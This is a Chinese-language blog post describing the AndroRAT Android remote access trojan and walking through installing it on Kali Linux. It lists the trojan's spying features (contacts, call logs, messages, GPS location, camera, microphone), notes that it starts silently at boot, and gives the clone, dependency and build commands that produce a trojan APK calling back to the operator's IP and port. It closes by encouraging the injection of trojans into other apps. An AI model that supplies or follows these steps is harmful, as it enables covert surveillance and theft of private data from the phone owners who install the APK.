Kali 安装 AndroRAT 及安装时可能遇到的问题及解决方法

 

开源地址:https://github.com/wszf/androrat

介绍AndroRAT

Android远程管理工具

Androrat是一个客户端/服务器应用程序,在Java Android中开发用于客户端,在Java/Swing中开发用于服务器。

Andorrat这个名字是Android和RAT (远程访问工具)的混合体。

它是在一个4人的团队中开发的,用于一个大学项目。一个月就实现了。该应用程序的目标是远程控制android系统,并从中检索信息片段。

技术事项

  • android应用程序是接收所有连接的服务器的客户端。
  • android应用程序作为在引导期间启动的服务(而不是活动)运行。因此用户不需要与服务交互(即使有允许配置IP和要连接的端口的调试活动).
  • 与服务器的连接可以通过短信或呼叫触发(可配置)

所有可用的功能都是

  • 获取联系人(及其所有信息)
  • 获取呼叫日志
  • 获取所有消息
  • 通过GPS/网络定位
  • 实时监控接收到的消息
  • 监控生活中的电话状态(已接来电、已发来电、未接来电..)
  • 从相机拍一张照片
  • 从麦克风(或其他来源)流式传输声音。
  • 流视频(仅适用于基于活动的客户端)
  • 祝酒词
  • 发送短信
  • 给我打电话
  • 在默认浏览器中打开URL
  • 一定要震动手机

文件夹

项目包含以下文件夹:

  • 文档:将很快包含有关项目的所有文档
  • 实验:包含一个 实验性的 客户端的版本围绕活动进行阐述,希望通过方式允许流式传输视频
  • src/安德罗拉特:包含应该放在android平台上的客户端源码
  • src/Androrat服务器:包含可以在任何平台上运行的Java/Swing服务器的源代码
  • src/api :包含项目中使用的所有不同的API (JMapViewer用于地图,Forms用于摇摆,vlcj用于视频流)
  • src/输入输出:包含客户端和服务器通用内容的代码,基本上是协议实现

截图

主界面

这是显示所有连接的客户端的主GUI。当新客户端连接或断开连接时,列表将动态更新。此外,所有连接和全局信息的日志将显示在窗口底部的日志面板中。在客户端上简单的双击,就会打开他的窗口,与他进行交互。

Main GUI

客户端面板

客户端的所有操作都可以在客户端窗口中进行,该窗口围绕选项卡进行阐述。默认选项卡称为“主页”,并提供各种功能。首先,正如我们在左侧滚动视图中看到的,有关客户端的所有信息,如sim Infos、电池Infos、网络Infos、传感器Infos等。在右侧,有一些选项允许远程更改客户端的配置,如要连接的ip和端口,或者不等待触发器来意图服务器连接等。最后,可以在此选项卡中执行快速操作,如吐司消息、振动手机或打开URL。

Client Panel

其他选项卡

下面的两个屏幕截图显示了另外两个选项卡,分别用于获取联系人和地理位置。正如您可以在“获取联系人”面板上看到的,左侧的列表显示了所有联系人的姓名、电话号码和图片(如果可用)。此外,在右侧的三个按钮允许获取有关选定联系人的更多信息,以便向他发送短信或致电他。对于地理位置,我们可以选择我们的提供商GPS或使用谷歌定位的网络。然后就可以开始流式传输,并且在接收到数据后立即更新地图。

Contacts GPS tab

使用说明

  • 您将需要Android SDK和Eclipse来编译此项目。
  • Command & Control应用程序是跨平台的Java,在OSX、Linux和Windows上测试良好
  • 在编译APK之前,需要编辑/src/Androrat/src/my/app/client/LauncherActivity.java。
  • 这就是您硬编码侦听器IP和端口的地方。您可以使用IP或域名(如DNS)。
  • 在某些移动设备上,它可以快速耗尽电池电量。注意这一点。

安装AndroRAT

AndroRAT是由Karma9874发布在Github上的一个开源安卓远控项目,能够快速、简单地生成木马。还有很多更强大的功能等着我去学习。

项目地址:https://github.com/karma9874/AndroRAT.git

在kali中打开命令行使用git clone命令下载该项目:

git clone https://github.com/karma9874/AndroRAT.git

下载到本地后,进入该文件夹内(cd命令)。

AndroRAT是通过python脚本启动的,所以需要安装有python依赖(如果不能在命令行中直接跑欧python脚本,则是没有安装依赖)

使用下面这条命令安装python依赖(在AndroRAT文件夹内):

pip install -r requirements.txt

安装完成后,可使用以下命令生成apk;

其中 -i 用于指定主机(APK跟谁连接,内网布置为本机),-p 用于指定端口,-o 指定输出文件名

python androRAT.py --build -i 192.168.X.XX -p 8000 -o pelom.apk

等待手机安装上软件并打开......之后就能看到建立连接了

可能出现的问题:

1.安装python依赖时出现警告

解决办法是:忽略警告~

 直接忽略警告也不会影响安装,当然,网上有很多教程解决这个警告

2.生成apk时报错

解决办法是:将指令中的python 改为python3

3.运行生成的APK出现Android版本过低的错误。

这个问题在用msfvenom的时候也会出现,升级了一次jdk也没用,应该是程序本身的生成问题,目前我也没有找到解决方法。

不过试着学习向其他软件中注入木马也是可以的

 

部分内容转载:https://blog.csdn.net/weixin_60368484/article/details/124737520

posted @ 2022-11-23 10:09  HaoranZing  阅读(633)  评论(0编辑  收藏  举报